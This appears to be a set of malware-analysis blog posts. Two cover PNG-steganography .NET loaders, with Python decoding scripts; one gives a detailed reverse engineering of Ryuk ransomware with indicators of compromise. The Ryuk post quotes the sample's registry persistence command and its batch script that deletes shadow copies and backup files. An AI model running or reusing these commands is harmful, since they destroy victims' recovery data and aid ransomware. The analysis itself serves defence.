Below are the slides my presentation at the Maine ISC(2) chapter meetup on June 10, 2020.
This post is a sequel to the post covering the sample "Bank Statement.bat." I had received this message before the Bank Statement message, but I found the sample in the previous post was less obfuscated and easier to reverse engineer.
In this post, I will cover the different ways that this sample hid the decoding routes and how I was able to gather the data to run the same decoding script I used before to extract the payload from the PNG data within this sample.
The metadata between the two samples is different but still tries to represent this .NET compiled binary is from "Apple Inc." In this dump below, you see that this sample attempts to represent itself as an iTunes Visualizer.
Architecture: IMAGE_FILE_MACHINE_I386 Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI Compilation Date: 2020-Apr-16 11:34:55 Comments: iTunes Visualizer Host CompanyName: Apple Inc. FileDescription: iTunes Visualizer Host FileVersion: 22.214.171.124 InternalName: Vi8BESIfUtQA5qX.exe LegalCopyright: © 2000-2020 Apple Inc. All rights reserved. OriginalFilename: Vi8BESIfUtQA5qX.exe ProductName: iTunes Visualizer Host ProductVersion: 126.96.36.199 Assembly Version: 188.8.131.52 Matching compiler(s): Microsoft Visual C# v7.0 / Basic .NET .NET executable -> Microsoft
As with the previous sample there is an PNG file embedded in the binary. however the images is 20 pixels larger in each dimension.
DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Microsoft executable, portable (PE) 26921 0x6929 PNG image, 300 x 300, 8-bit/color RGBA, non-interlaced 26999 0x6977 Zlib compressed data, compressed 404804 0x62D44 Copyright string: "CopyrightAttribute"
Visually looking at the PNG data, it looks similar to the PNG data from the Bank Account.bat sample. Seeing this, I started to think I may be able to use the same method I used previously to decode the payload. As a first attempt, I ran the script as-is, and as I expected, it didn't correctly decode the file. I was already assuming at least that this sample would use a different key.
I started to look at the sample in dnSpy to find the key and the decoding methods in this binary. The first thing I noticed is that this .NET file either had more obfuscation or was just obfuscated differently than the previous binary I investigated. I was able to follow the flow from the entry point to where the sample starts a new process. There is not whole lot else interesting in the code after this point in the method.
After running the sample using the dnSpy debugger to decode the arguments of the Process.Start method call; I found that the sample executes "installUtil.exe" a .NET utility with the /u and the path to the location of the sample.
Pulling up the documentation for installUtil.exe utility I found the following:
"Installutil.exe uses reflection to inspect the specified assemblies and to find all Installer types that have the System.ComponentModel.RunInstallerAttribute attribute set to true. The tool then executes either the Installer.Install or the Installer.Uninstall method on each instance of the Installer type. Installutil.exe performs installation in a transactional manner; that is, if one of the assemblies fails to install, it rolls back the installations of all other assemblies. Uninstall is not transactional."
Note: I ran de4dot in between to make life a little easier to parse. It did not note any specific obfuscators.
In short, the /u installUtil.exe option runs the Uninstall method of the binary in the argument, in this case, the sample we are investigating. I searched the sample's code for "Install" and found the following Uninstall method. This method looks very similar to the method that executed the PNG parsing function on the Bank Account.bat malware. For example, this method has similarly named variables and a similar flow to the PNG decoding method in the other sample.
When attempting to extract the data from the variables and reverse the methods, I found that smethod_0 and other related methods are heavily obfuscated and very hard to analyze statically. I switched to dynamic analysis and executed this sample in dnSpy. I used the following options to run in it using installUtil.exe and set a breakpoint in the Uninstall method.
After running the code, I hit the breakpoint I expected in the Uninstall function. Then I stepped over the "text" and "location" variables having their values assigned, revealing the PNG resources and the password in a similar format to the "Bank Account.bat" sample. Unfortunately, the process crashes when attempting to extract the code that is used to unpack the PNG. This crash is not an issue; I was able to retrieve the data I needed.
After only changing the extracted PNG file, XOR key, and final PNG pixel data value in the script I created for "Bank Statement.bat" Success, I was able to extract the payload.
The extracted payload looks to be very similar to the Bank Statement.bat payload. They both have the same filename in the metadata "ReZer0V2.exe." However, some of the metadata is different, indicating they may be different versions of the payload.
My hunch was correct about these samples using the same encoding method for the PNG payload. I still have not reversed the payload yet, but there are some links to other work on this payload in my other post for the Bank Statement.bat sample. I enjoyed working on this sample, the different methods used to hide the decoding routine of the PNG data were a fun challenge.
Full Decode Script
import png import struct def print_list(thelist, quantity): if (quantity == 0): quantity = len(thelist) #print ("Decimal: ", end="") #for i in range(0, quantity): # print (thelist[i], ", ", end="") #print ("") print ("Hex: ", end="") for i in range(0, quantity): print (hex(thelist[i]), ", ", end="") print ("") print ("ASCII: ", end="") for i in range(0, quantity): print (chr(thelist[i]), ", ", end="") print ("") ############ filename = "be8ff-2.bmp" # 0x0 , 0x58 , 0x0 , 0x41 , 0x0 , 0x64 , 0x0 , 0x67 , 0x0 , 0x57 , 0x0 , 0x6b , 0x0 , 0x4b plain_key = "EMe2A6he" key = bytearray(plain_key.encode("utf-16be")) print_len = 50 print ("Key: ") print_list(key, 0) print ("Key len: ", len(key)) ## #### Load PNG bmp_full_data = png.Reader(filename=filename).read() bmp_img_data = list(bmp_full_data) ## #### Reverse Start data_array =  output_array =  print ("") print ("Loading Image data") print ("IMG height: ", len(bmp_img_data)) row_count = 0 #print ("Row: ", i, len(bmp_img_data[i]), end='') while (row_count < len(bmp_img_data)-4): #print (row_count, " ", end="") for i in range(0,len(bmp_img_data)): # AARRGGBB R = bmp_img_data[i][row_count] # 05 G = bmp_img_data[i][row_count+1] # 16 B = bmp_img_data[i][row_count+2] # 01 A = bmp_img_data[i][row_count+3] # 00 data_array.append(B) data_array.append(G) data_array.append(R) data_array.append(A) row_count += 4 #print (".. row loaded") print ("1st bytes") print_list(data_array[:4], 4) first_bytes_value = struct.unpack("<I", bytearray(data_array[0:4])) decode_data = data_array[4:] ## #### XOR_DEC Start key_counter = 0 print ("Data Length: ", len(data_array)) print ("") print ("Pre XORed data") print_list(decode_data, 50) outfile = open ("test-prexor.bin", 'wb') outfile.write(bytearray(decode_data)) outfile.close() print ("") print ("XORing Image data") # below is either B5 or 00 ^ 112 #lastdata = 0x67 static_xor_val = 0x67 lastdata = decode_data[len(decode_data)-1] key_modifier = lastdata ^ static_xor_val #key_modifier = 0xb5 ^ 112 # 0xc5 #key_modifier = 0 print("key: ", lastdata, " len: ", len(decode_data)-1, "found key: ", hex(decode_data[len(decode_data)-1]), " mod key: ", key_modifier) key_counter = 0 for xor_i in range(0,len(decode_data)): key_value = key[key_counter] output_array.append(decode_data[xor_i] ^ key_modifier ^ key_value) if (key_counter < len(plain_key)-1): key_counter += 1 else: key_counter = 0 print ("Final Output") print_list(output_array, print_len) outfile = open ("test-postxor.bin", 'wb') outfile.write(bytearray(output_array)) outfile.close()
When looking through my Spam folder, I have run across a few messages with ".bat" files attached to them. Most messages have had different content in the message to entice a victim to open the attachment. I started to investigate each of the attachments and found they were Windows Binaries, and at least two had PNG files in the resources. After doing this initial triage, I wanted to see if the payload of these pieces of malware is encoded in this PNG data and how it was encoded.
I started with a sample named "Bank Statement.bat" with the .NET code that is the least obfuscated and will visit another sample in a later post. In this post, I will reverse engineer the .NET code and uncover the process to extract out the payload encoded in a PNG file embedded in the binary.
First thing, I took a look at the properties of the attached file and determined it was a .NET compiled binary with some suspicious properties such as having a copyright field listing "Apple, Inc." Some more of the metadata details are shown below.
Architecture: IMAGE_FILE_MACHINE_I386 Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI Compilation Date: 2020-Apr-20 14:27:35 Comments: QuartzCore 227 CompanyName: Apple Inc FileDescription: QuartzCore FileVersion: 184.108.40.206 InternalName: Ly2kW4nOksU0vgv.exe LegalCopyright: © 2020 Apple Inc. All rights reserved. OriginalFilename: Ly2kW4nOksU0vgv.exe ProductName: QuartzCore ProductVersion: 220.127.116.11 Assembly Version: 18.104.22.168 Matching compiler(s): Microsoft Visual C# v7.0 / Basic .NET Microsoft Visual C++ 8.0 .NET executable -> Microsoft
Next I ran a binwalk to see if there are is any other obvious hidden content within this file and found there is a PNG file embedded within the binary.
DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Microsoft executable, portable (PE) 19329 0x4B81 PNG image, 290 x 290, 8-bit/color RGBA, non-interlaced 19407 0x4BCF Zlib compressed data, compressed 357216 0x57360 Copyright string: "CopyrightAttribute"
I opened the file in ilSpy and extracted the PNG file from the resources of the binary. When looking at the extracted PNG file I found visually it looks like encoded data. After seeing this image I started to investigate the original binary file to find routines used to decode the PNG file into what I assumed is the payload of the malware. I started to look at the file further in dnSpy and started at the entry point of the binary.
Starting at the entry point method and following the flow through a few more methods, finally finding the start of the decoder functionality. The method below shows the initial routines that load the decoder.
The first items I noticed were the variables text and test2 are references to the PNG resource data. The next variable of note is test3 which looks like it could be a password. This method also contains a blob of encoded data (shown in the HexToString() call on line 9) that has various bytes swapped. Once the blob of data is decoded and returned to its original values then transformed into a string that is next decoded from Base64 into is DLL. The DLL when loaded is named CoreFunctions.dll.
After CoreFunctions.dll is loaded the method "CoreFunctions.Main" is executed. There are four parameters passed to this method, the first two references the PNG data, third what looks like a password, and finally the path to the full binary file. These are the variables I made a note of earlier. This method runs a few routines that decode the PNG data. Next, let's walk through these method calls:
- Read_R reads the PNG file resource into a bitmap object.
- Reverse creates an array of each column's BRGA (Blue, Red, Green, Alpha) color values.
- XOR_DEC decodes the values using XOR rotating through the key "XAdgWkK" that is XOR'ed against the last byte of the PNG data.
The image below shows the calls to these methods. They are high lighted in red by the breakpoints.
Once the PNG resource data is decoded into its executable binary data, it is loaded and executed in memory without writing any data to disk.
I have written a python script (that is at the end of this post), that recreates the decoding process and takes in the export of the resource's PNG data and the key to decodes the payload.
Once this process is completed the decoded payload is named "ReZer0V2" in the metadata of the binary data. I have not done much analysis on the main payload yet other than executing the sample in a sandbox. The sandbox run can be viewed at the following Anyrun link:
I may do further analysis of this sample however this appears to be a few posts out there about this payload:
I found this an interesting sample to dissect and understand the method used to encode the PNG data and in the future to see if it can be used to decode a second sample I have with a similarly encoded PNG file. The follow-up post about that sample "W.H.O.bat" will be posted up soon. A theory I have about this sample is that it was sent out prematurely and was not fully obfuscated nor was the phishing content of the message fully completed for the campaign, however, it is just a guess.
import png import struct def print_list(thelist, quantity): if (quantity == 0): quantity = len(thelist) #print ("Decimal: ", end="") #for i in range(0, quantity): # print (thelist[i], ", ", end="") #print ("") print ("Hex: ", end="") for i in range(0, quantity): print (hex(thelist[i]), ", ", end="") print ("") print ("ASCII: ", end="") for i in range(0, quantity): print (chr(thelist[i]), ", ", end="") print ("") ############ filename = "79fb5.bmp" # 0x0 , 0x58 , 0x0 , 0x41 , 0x0 , 0x64 , 0x0 , 0x67 , 0x0 , 0x57 , 0x0 , 0x6b , 0x0 , 0x4b plain_key = "XAdgWkK" key = bytearray(plain_key.encode("utf-16be")) print_len = 50 print ("Key: ") print_list(key, 0) print ("Key len: ", len(key)) ## #### Load PNG bmp_full_data = png.Reader(filename=filename).read() bmp_img_data = list(bmp_full_data) ## #### Reverse Start data_array =  output_array =  print ("") print ("Loading Image data") print ("IMG height: ", len(bmp_img_data)) row_count = 0 #print ("Row: ", i, len(bmp_img_data[i]), end='') while (row_count < len(bmp_img_data)-4): #print (row_count, " ", end="") for i in range(0,len(bmp_img_data)): # AARRGGBB R = bmp_img_data[i][row_count] # 05 G = bmp_img_data[i][row_count+1] # 16 B = bmp_img_data[i][row_count+2] # 01 A = bmp_img_data[i][row_count+3] # 00 data_array.append(B) data_array.append(G) data_array.append(R) data_array.append(A) row_count += 4 #print (".. row loaded") print ("1st bytes") print_list(data_array[:4], 4) first_bytes_value = struct.unpack("<I", bytearray(data_array[0:4])) decode_data = data_array[4:] ## #### XOR_DEC Start key_counter = 0 print ("Data Length: ", len(data_array)) print ("") print ("Pre XORed data") print_list(decode_data, 50) outfile = open ("test-prexor.bin", 'wb') outfile.write(bytearray(decode_data)) outfile.close() print ("") print ("XORing Image data") # below is either B5 or 00 ^ 112 key_modifier = 0xb5 ^ 112 # 0xc5 #key_modifier = decode_data[len(decode_data)-1] ^ 112 #key_modifier = 0 print(len(decode_data)-1, hex(decode_data[len(decode_data)-1]), key_modifier) key_counter = 0 for xor_i in range(0,len(decode_data)): key_value = key[key_counter] output_array.append(decode_data[xor_i] ^ key_modifier ^ key_value) if (key_counter < len(plain_key)-1): key_counter += 1 else: key_counter = 0 print ("Final Output") print_list(output_array, print_len) outfile = open ("test-postxor.bin", 'wb') outfile.write(bytearray(output_array)) outfile.close()
In this post, I will reverse and analyze a Ryuk malware sample. Ryuk is pretty well-known ransomware that encrypts the contents of a victim's hard drive. The sample uses two executable stages, one that determines if the system is a 32bit or a 64bit system, then extracts out the appropriate second stage executable onto the file system and executes the second stage. The second stage then attempts to gain persistence through creating a registry key and then finally injects an encryption process into another process and starts to encrypt the file systems leaving behind a Ransom note for the user to find. In the rest of this post, I will write up a detailed analysis and reverse engineering of the Ryuk malware.
I downloaded the sample from this site. The first thing that I wanted to ensure that the file that I was working with was what I was expecting. I sent the hash to Virustotal, and it identified by the majority of engines as Ryuk.
Now that I knew I was looking at the correct file I validated the type of executable, finding it was a Windows PE file.
$ file loader.bin loader.bin: PE32 executable (GUI) Intel 80386, for MS Windows
Then I ran binwalk to see if there was embedded content, and I found there are 2 PE headers embedded in this file in addition to the main executable.
$ binwalk loader.bin DECIMAL HEXADECIMAL DESCRIPTION 0 0x0 Microsoft executable, portable (PE) 70576 0x113B0 Microsoft executable, portable (PE) 242704 0x3B410 XML document, version: "1.0" 245168 0x3BDB0 Microsoft executable, portable (PE)
After some initial light investigation, I dug into the file with Ghidra and x64dbg to build out the flow of the executables. Initially, we will take a look at the first stage that extracts the main payload.
This initial stage has a pretty simple program flow and accomplished a pretty simple task of extracting and executing the appropriate PE or PE+ file for the architecture. The below flowchart gives an overview of the execution path of this stage.
The first task this stage does is to determine the version of Windows the system is running. It does this to determine the location of the default user profile directory ("\Users\Public" or "\Documents and Settings\Default User"). After finding the directory it generates a random 5 character file name, which will have .exe appended to it and used as the file name of the second stage.
The function CreateFileW is run with the created filename to create a handle to write the second stage. However, before writing the second stage data, a procedure using IsWoW64Process is run to determine if the system using a 32bit or 64bit operating system then writes a PE executable for 32bit systems or PE+ executable for 64bit systems. (This process is shown in the Ghidra decompilation) Once the file data is written, ShellExecuteW is called with the file name of the first stage listed as an argument to run the newly created executable, and move on to stage 2.
In my analysis, I used the PE+ binary code to do my detailed work. I did some cursory analysis of the PE binary to make sure there were not any apparent differences in functionality and found it was essentially the same as the PE+ counterpart from a functionality perspective.
bin0.bin: PE32+ executable (GUI) x86-64, for MS Windows $ ls -l bin0.bin -rw-r--r--@ 1 xxx xxx 174592 Feb 22 00:19 bin0.bin SHA-1: 92e331e1e8ad30538f38dd7ba31386afafa14a58
I found there are two primary sections of code that I will refer to as WinMain located at memory address 0x140001c80 and RansonMain, which is located at address 0x140002a70. WinMain handles the setup of execution for the encryption section in RansonMain.
I called this function WinMain as it appears to align with the traditional WinMain function in C. This function and its callees as already mentioned setup and inject the encryption processes to start the execution of RansomMain. The following flow chart lays out the flow of this section.
The first activity WinMain does is to delete the first stage. The file is deleted by passing the filename of the first stage as a command-line argument and then calling a function to delete the file. Next, WinMain adds a registry key to the run the second stage on the boot of Windows. I would guess this is in order to obtain a level of persistence. It uses the Windows command line to add the key, calling ShellExecuteW to run the command.
cmd.exe /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "C:\Users\IEUser\Desktop\ryuk\aSEzD.exe" /f
The example command created the following in the registry on my test system.
After creating the registry key, WinMain then runs a function to check and enable SeDebugPrivilege on the Stage 2 process to ensure it has the correct permission level. This permission is needed to manipulate other processes on this system. Next it a function loops through and creates a list of running processes on the system creating a data structure consisting of a list of 0x210 byte structures laid out in the format:
+-------------------------------+ | Process Name 0x208B | +---------------+---------------+ | PSID 0x1B | Perm 0x1B | +---------------+---------------+
The "Perm" contains permission level it was able to acquire to the process. There are 4 permissions levels
|0||Can't open process|
|1||has NT AUTHORITY|
|2||No NT AUTHORITY|
|5||Can Get Token|
After collecting the list of processes, it loops through them and checks a few things. First, it checks the process name to see if it matches "CSRSS.EXE," "EXPLORER.EXE," or "LSAAS.EXE" (yup, the last one is a typo in the sample). Then it checks the permissions it was able to get on the process if it's 5 (Can get Token) or 1 (Has NT Authority). After passing both of these checks, it will call a function to inject the RansomMain into the process. I have named this function WriteProcMemory.
WriteProcMemory is a pretty simple function, and it takes a process name allocates memory in the process then calls CreateRemoteThread to create a thread in that process to execute RansomMain. The loop processes the entire list of processes gathered. After all the processes have been processed, it will execute a function to decode function pointers and then directly execute RansomMain before ending the program. The final 2 steps are similar to what occurs in the injected process and I will cover these functions in more depth.
Remote Thread and RansomMain
The Injected thread first decodes various function pointers used throughout the thread. The majority of the Windows API calls in RansomMain are done via calls by reference to these encoded references. The decoder function located at 0x140005b10, and the key that encodes the various function call is itself encoded and is decoded by an XOR loop at 140005b9a. The code in the next screenshot shows the routine that is used to decode the key.
After running the above code in a debugger, I grabbed the decoded key and wrote a python function to decode the rest of the function call names. The string variable in this code is a list of the hex values in the encoded library and function names.
def decode(string): key_position_1 = 0 key_position_2 = 0 # Key at: 0x1400293c4 # ASCII: aZIiQ keys = [0x62, 0x5a, 0x49, 0x69, 0x51] print (len(string), len(keys)) while key_position_1 < len(string): if string[key_position_1] != 0x0: decoded = string[key_position_1] ^ keys[key_position_2] print (chr(decoded), end = "") if key_position_2 < len(keys)-1: key_position_2 += 1 else: key_position_2 = 0 key_position_1 += 1 decode(string)
Here is a sample of some of the decoded calls shown in the Ghidra disassembler view.
After all of the function calls are decoded, and the function call addresses are resolved into memory. The next function attempts to write a file named "sys" into the default system home directory ("\Users\Public" or "\Documents and Settings\Default User" depending on OS version). If it is unable to create or open the file the function will wait until it can write the file or terminate the process. Otherwise, if it is successful, it will move forward on to RansomMain.
RansomeMain is the main show and handles all of the encryption activities following this general flow in this chart.
The first main activity this function does is to set up an encryption context using legacy Windows encryption APIs. The parameters used in CryptoAquireContextW to create the container are:
Container name: AES_Unique_
Provider: Microsoft Enhanced RSA and AES Cryptographic Provider
Flags: Vary depending on the OS version
After the context is set up, the function loads a RSA Public key from the file location 0x1400293d0. The key is stored as a PUBLICKEYBLOB with the following parameters:
Key Algorithm 0xA400 - RSA public key exchange algorithm
DSS version: 2
Key length: 2048 bit key
The key embedded in the sample Base64 encoded is:
nWvywVbBvz4AYDfaAouzpqlRr9aOb+wCl5MYJPQzMGNhAE+CDfDm4DPIUp0Ud8m/xty5d7N2jiqJbFC04jZf0Kat3AaJXnMeZfXPAQzJKXtMQfnLL /ZQOX4KeDFJ+zfnflDEcKYuQARXxMbJVWBXu7vagRd+8TBJ /6L5FsFWwA9KRr5blLkgRHdfqkLhGaWOqTSUF9btcWdyOg2We5g5ByoxPKtoqO9NjOb/witnj+TpGHeahzwpHzxAsOEisWYneR3RkhSvNh/Qs8OiVwiHFFeBdRJRkEC6UtlTj7obLi55Y7mztJwMI4TbdnMReGiMRlGHuHN9aKKhQssMFKpA==
The next function decodes the ransom note. These values are all encoded using XOR with static keys. There are two different keys used one for the email address and a Bitcoin address. A second key used for the main ransom note. The email addresses and Bitcoin address contained in this sample are:
|Memory Location||Decoded Data|
My assumption is they made the email address and bitcoin address separate from the rest of the note so they can be swapped out easily, keeping the bulk of the text the same. Next, the function decodes the main part of the ransom note. The below python code decodes both the email and Bitcoin strings along with the ransom note itself.
ARRAY_140029b20 = [ ** email 1 in hex ** ] ARRAY_140029980 = [ ** email 2 in hex ** ] ARRAY_1400249e8 = [ ** btc addr in hex ** ] # 140029500 - 140029798 DAT_RyukReadMe_txt_Buffer = [ **ransom note in hex** ] # 14001f990 Decode_key_1 = [ **snip key in hex** ] # 14001f9f0 Decode_key_2 = [ **snip key in hex** ] s_BTC_wallet_140029868 = "BTC wallet:" s_No_system_is_safe_140029b40 = "No system is safe" s_Ryuk_140028e18 = "Ryuk\n " for i in range(0, 27): if (i & 1 == 0 ): key = DAT_RyukReadMe_txt_Buffer[i] else: key = Decode_key_1[i] print (chr(ARRAY_140029b20[i] ^ key), end = "") print ("") for i in range(0, 0x19): if (i & 1 == 0 ): key = DAT_RyukReadMe_txt_Buffer[i] else: key = Decode_key_1[i] print (chr(ARRAY_140029980[i] ^ key), end = "") print ("") for i in range(0, 0x22): if (i & 1 == 0 ): key = DAT_RyukReadMe_txt_Buffer[i] else: key = Decode_key_1[i] print (chr(ARRAY_1400249e8[i] ^ key), end = "") print ("") print ("") print ("") for i in range(0, len(DAT_RyukReadMe_txt_Buffer)): print (chr(DAT_RyukReadMe_txt_Buffer[i] ^ Decode_key_2[i]), end="")
After everything is decoded all the text is put together to create the following ransom note that is written to directories where files are encrypted.
Once the ransom note is decrypted RansomMain function gathers a list of all of the file systems on the system. The file system list is collected using the GetLogicalDrives function and checking the file system type using GetDriveTypeW. Then a called function starts to walk through the file system and encrypting the contents of directories.
As the function loops through the file system, it skips over directories named "Windows" , "AhnLabs", "Chrome", "Mozilla," "$Recycle.Bin," and "WINDOWS." Once the list of files in a directory has collected, it will write a copy of the ransom note to a file named RyukReadMe.txt then start a Thread to encrypt each file in the directory. The encryption uses the AES 256 algorithm via the Microsoft AES Cryptographic Provider. It will continue this process until the local file systems are encrypted.
Next, it enumerates a list of network shares then follows the same process to encrypt those shares. The list of network shares enumerated using the WNetOpenEnum and WNetEnumResourceW function calls. After the list of shares is generated the network shares are encrypted using the same functions that were used to encrypt local file systems and write the ransom note.
Once the encryption loops are completed, the final call deletes the system shadow copy by creating a file named windows.bat and placing the below command in it and executing it.
"vssadmin Delete Shadows /all /quiet\r\nvssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded\r\nvssadmin Delete Shadows /all /quiet\r\ndel /s /f /q c:\.VHD c:\.bac c:\.bak c:\.wbcat c:\.bkf c:\Backup.* c:\backup. c:\.set c:\.win c:\.dsk\r\ndel /s /f /q d:\.VHD d:\.bac d:\.bak d:\.wbcat d:\.bkf d:\Backup. d:\backup. d:\.set d:\.win d:\.dsk\r\ndel /s /f /q e:\.VHD e:\.bac e:\.bak e:\.wbcat e:\.bkf e:\Backup. e:\backup. e:\.set e:\.win e:\.dsk\r\ndel /s /f /q f:\.VHD f:\.bac f:\.bak f:\.wbcat f:\.bkf f:\Backup. f:\backup. f:\.set f:\.win f:\.dsk\r\ndel /s /f /q g:\.VHD g:\.bac g:\.bak g:\.wbcat g:\.bkf g:\Backup. g:\backup. g:\.set g:\.win g:\.dsk\r\ndel /s /f /q h:\.VHD h:\.bac h:\.bak h:\.wbcat h:\.bkf h:\Backup. h:\backup. h:\.set h:\.win h:\*.dsk\r\ndel %0"
After the shadow copy is removed the processes exits and Ryuk has done it's job encrypting all of the data it can find.
To summarize and restate what we just covered, Ryuk has two major stages. The first determines if the OS is 64bit or 32 bit then extracts the appropriate second stage that decodes internal function and other strings it will use. Next, it loops through the local file systems encrypting the majority of files, then it moves on to network shares encrypting the contents of those shares. Finally, before the process ends, it deletes the Volume Shadow Copy.
Ryuk is quite destructive using Windows built-in encryption APIs and a public key to encrypt the files. This is much tougher to break than other malware that uses roll your own encryption techniques. I am not the first nor the last to analyze this piece of malware, but it has been a fun challenge to walk through it and reverse engineer Ryuk's functionality in detail. To close out this post, I will list out some of the indicators of compromise (IOC) that I found in my analysis.
1st Stage Binary
File Size: 393216
2nd Stage Binaries
64 bit PE+
File Size: 174592
SHA-1: 92e331e1e8ad30538f38dd7ba31386afafa14a58 bin0.bin
File Size: 143440
SHA-1: 057aa7a708e0011abc1d4b990999f072a77d1057 bin1.bin
Value: [Second Stage File name and location]
Other Files ( is a random 5 character string)
\Documents and Settings\Default User\.exe
\Documents and Settings\Default User\sys
\Documents and Settings\Default User\finish
BTC Address: 14hVKm7Ft2rxDBFTNkkRC3kGstMGp2A4hk